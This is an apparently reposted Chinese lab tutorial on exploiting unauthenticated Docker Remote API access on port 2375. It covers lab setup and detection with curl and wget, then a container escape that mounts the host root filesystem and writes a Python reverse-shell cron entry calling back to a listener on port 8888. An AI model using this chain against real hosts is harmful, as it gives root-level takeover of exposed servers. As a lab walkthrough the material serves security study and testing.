云安全攻防(八)之 Docker Remote API 未授权访问逃逸

这篇具有很好参考价值的文章主要介绍了云安全攻防(八)之 Docker Remote API 未授权访问逃逸。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

Docker Remote API 未授权访问逃逸

基础知识

Docker Remote API 是一个取代远程命令行界面(rcli)的REST API,其默认绑定2375端口,如管理员对其配置不当可导致未授权访问漏洞。攻击者利用 docker client 或者 http 直接请求就可以访问这个 API,可导致敏感信息泄露,甚至可进一步利用Docker自身特性,借助容器逃逸,最终完全控制宿主服务器

Docker daemon 是 Docker 引擎的后台进程,也称为 Dockerd。它是一个长时间运行的进程,负责管理 Docker 镜像、容器、网络和存储等各种资源,并提供一个 API 以供 Docker 客户端进行交互

当您在 Docker 主机上使用 Docker 命令时(例如 docker run),Docker 客户端将向 Docker daemon 发送命令请求,并通过 Docker API 进行通信。Docker daemon 接收并解析这些请求,并在其内部管理对象存储中创建、修改或删除相应的 Docker 资源。随后,Docker daemon 将响应结果发送回客户端,然后等待下一个命令请求

另外,Docker daemon 也负责监视 Docker 主机上正在运行的容器和服务,以及处理与 Docker 网络和存储相关的操作。它还可以与其他 Docker daemon 进行通信,以实现跨主机的镜像和容器管理。总之,Docker daemon 是整个 Docker 引擎的核心组件,负责实现 Docker 的各种功能,并将其暴露给用户和其他程序使用

环境搭建

首先我们执行如下的代码将 docker 守护进程监听在 0.0.0.0

dockerd -H=0.0.0.0:2375 -H unix:///var/run/docker.sock
  • -H=0.0.0.0:2375:指定 Docker daemon 监听的 TCP 端点地址和端口号。0.0.0.0 表示绑定到任何可用网络接口上,即允许从其他主机上的容器或者计算机上运行的 Docker 客户端连接。2375 是 Dockerdaemon 监听的端口号
  • -H unix:///var/run/docker.sock:指定 Docker daemon 监听的 Unix 域套接字路径,即 /var/run/docker.sock

​ 运行这个命令,Docker daemon 将同时监听 TCP 端点和 Unix 域套接字,并且没有安全保护

云安全攻防(八)之 Docker Remote API 未授权访问逃逸,云安全攻防,docker,容器,网络安全,安全,云原生,云安全

执行后出现上面错误是由于当前环境docker已经在运行中了,需要先停止docker

systemctl stop docker

在执行下面的命令

dockerd -H=0.0.0.0:2375 -H unix:///var/run/docker.sock

云安全攻防(八)之 Docker Remote API 未授权访问逃逸,云安全攻防,docker,容器,网络安全,安全,云原生,云安全

通过攻击机查看靶机所安装的镜像

docker -H tcp://IP:2375 images

云安全攻防(八)之 Docker Remote API 未授权访问逃逸,云安全攻防,docker,容器,网络安全,安全,云原生,云安全

漏洞检测

访问 http 请求 curl 192.168.41.132:2375/info,如果返回内容含有DockerRootDir等字符,则证明存在docker未授权访问漏洞

curl 192.168.41.132:2375/info | grep DockerRootDir

云安全攻防(八)之 Docker Remote API 未授权访问逃逸,云安全攻防,docker,容器,网络安全,安全,云原生,云安全

或者输入如下的命令

IP=`hostname -i | awk -F. '{print $1 "." $2 "." $3 ".1"}' ` && wget http://$IP:2375

如果返回 404 说明漏洞存在

云安全攻防(八)之 Docker Remote API 未授权访问逃逸,云安全攻防,docker,容器,网络安全,安全,云原生,云安全

漏洞复现

攻击机运行以下的命令查看对方的容器

docker -H tcp://<target>:2375 ps -a

云安全攻防(八)之 Docker Remote API 未授权访问逃逸,云安全攻防,docker,容器,网络安全,安全,云原生,云安全

新运行一个容器,挂载点设置为服务器的根目录挂载至/mnt目录下,此时修改/mnt/etc/crontab相当于修改/etc/crontab文件

docker -H tcp://192.168.41.132:2375 run -it -v /:/mnt nginx:latest /bin/bash

云安全攻防(八)之 Docker Remote API 未授权访问逃逸,云安全攻防,docker,容器,网络安全,安全,云原生,云安全

在容器内执行命令,将反弹shell的脚本写入到/etc/crontab文件

echo -e "* * * * * root /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.168.41.132\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n" >> /mnt/etc/crontab

云安全攻防(八)之 Docker Remote API 未授权访问逃逸,云安全攻防,docker,容器,网络安全,安全,云原生,云安全

在攻击开启监听

nc -lvvp 8888

云安全攻防(八)之 Docker Remote API 未授权访问逃逸,云安全攻防,docker,容器,网络安全,安全,云原生,云安全

等待一分钟过后,攻击机收到反弹shell

云安全攻防(八)之 Docker Remote API 未授权访问逃逸,云安全攻防,docker,容器,网络安全,安全,云原生,云安全文章来源地址https://www.toymoban.com/news/detail-636999.html

到了这里,关于云安全攻防(八)之 Docker Remote API 未授权访问逃逸的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 云上攻防-云原生篇&Docker安全&权限环境检测&容器逃逸&特权模式&危险挂载

    Docker 是一个开放源代码软件,是一个开放平台,用于开发应用、交付(shipping)应用、运行应用。Docker允许用户将基础设施(Infrastructure)中的应用单独分割出来,形成更小的颗粒(容器),从而提高交付软件的速度。 Docker 容器与虚拟机类似,但二者在原理上不同,容器是将

    2024年02月07日
    浏览(47)
  • 云上攻防-云原生篇&Kubernetes&K8s安全&API&Kubelet未授权访问&容器执行

    Kubernetes是一个开源的, 用于编排云平台中多个主机上的容器化的应用,目标是让部署容器化的应用能简单并且高效的使用, 提供了应用部署,规划,更新,维护的一种机制 。其核心的特点就是能够自主的管理容器来保证云平台中的容器按照用户的期望状态运行着,管理员可

    2024年02月08日
    浏览(53)
  • 云上攻防-云原生篇&;Kubernetes&;K8s安全&;API&;Kubelet未授权访问&;容器执行

    curl -XPOST -k “https://192.168.139.132:10250/run///” -d “cmd=id” 执行的命令是test03容器里的命令,需要进行容器逃逸。 1、攻击8080端口:API Server(Master)未授权访问 旧版本的k8s的API Server默认会开启两个端口:8080和6443。 6443是安全端口,安全端口使用TLS加密;但是8080端口无需认证,

    2024年04月22日
    浏览(45)
  • Docker未授权访问漏洞

    通过浏览器进行访问,如果页面显示message ”page not found\\\" 代表存在漏洞,如果页面显示空白,可以通过info获取docker信息 获取image列表 通过docker client使用 -H 参数连接目标的docker,并使用ps-a命令查寻目标系统运行的所有容器 docker client连接目标,ps -a 查看哪些容器已经停止:

    2024年02月11日
    浏览(28)
  • 配置开启Docker2375远程连接与解决Docker未授权访问漏洞

    首先 需要安装docker ,参考我这篇文章:基于CentOS7安装配置docker与docker-compose 配置开启Docker远程连接的步骤 : 1-编辑/usr/lib/systemd/system/docker.service 文件 : 配置完成后完整的 docekr.service : systemctl daemon-reload 与systemctl restart docker : systemctl status docker : 查看docker状态 (后面增加的内

    2024年02月05日
    浏览(30)
  • Docker未授权访问漏洞(www.hetianlab.com)

    Docker是一个开源的引擎,可以轻松的为任何应用创建一个轻量级的、可移植的、自给自足的容器。开发者在笔记本上编译测试通过的容器可以批量地在生产环境中部署,包括VMs(虚拟机)、bare metal、OpenStack 集群和其他的基础应用平台。 产生原因 如果在docker上配置了远程访问,d

    2024年02月04日
    浏览(43)
  • 【Docker】Docker逃逸小结

    Docker自2013年发行开始,一直受到业界广泛的关注。 这篇文章将探讨Docker安全性相关的问题。 容器的本质就是把系统中 同一个业务目标服务 的相关进程组合在一起,放在一个 namespace 中。 同一个 namespace 中的进程能够互相通信,同时看不见其他namespace中的进程。 每个namespa

    2024年02月06日
    浏览(17)
  • Web 攻防之业务安全:接口未授权访问/调用测试(敏感信息泄露)

    业务安全是指保护业务系统免受安全威胁的措施或手段。 广义 的业务安全应包括业务运行的 软硬件平台 (操作系统、数据库,中间件等)、 业务系统自身 (软件或设备)、 业务所提供的服务安全 ; 狭义 的业务安全指 业务系统自有的软件与服务的安全 。 目录 : 验证码

    2023年04月12日
    浏览(35)
  • Docker中部署ElasticSearch 和Kibana,用脚本实现对数据库资源的未授权访问

    图未保存,不过文章当中的某一步骤可能会帮助到您,那么:感恩! 1、docker中拉取镜像 2、熟悉目录 3、启动,访问9200 4、访问测试 1、下载(同样使用docker环境) 2、启动 3、连接测试easticsearch发现失败,是前后端分离开发存在跨域问题,需要在服务端做CORS的配置 (1)进入

    2024年02月04日
    浏览(28)
  • docker搭建hbase 全部流程(包含本地API访问)

    一、使用docker下载并安装hbase 1、搜索:docker search hbase 2、下载:docker pull harisekhon/hbase(一定要下载这个,下面都是围绕此展开的) 3、启动容器: docker run -d -p 2181:2181 -p 16000:16000 -p 16010:16010 -p 16020:16020 -p 16030:16030 --name hbase harisekhon/hbase 这里只是对应了 2181、16000、16010、1602

    2024年01月22日
    浏览(72)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包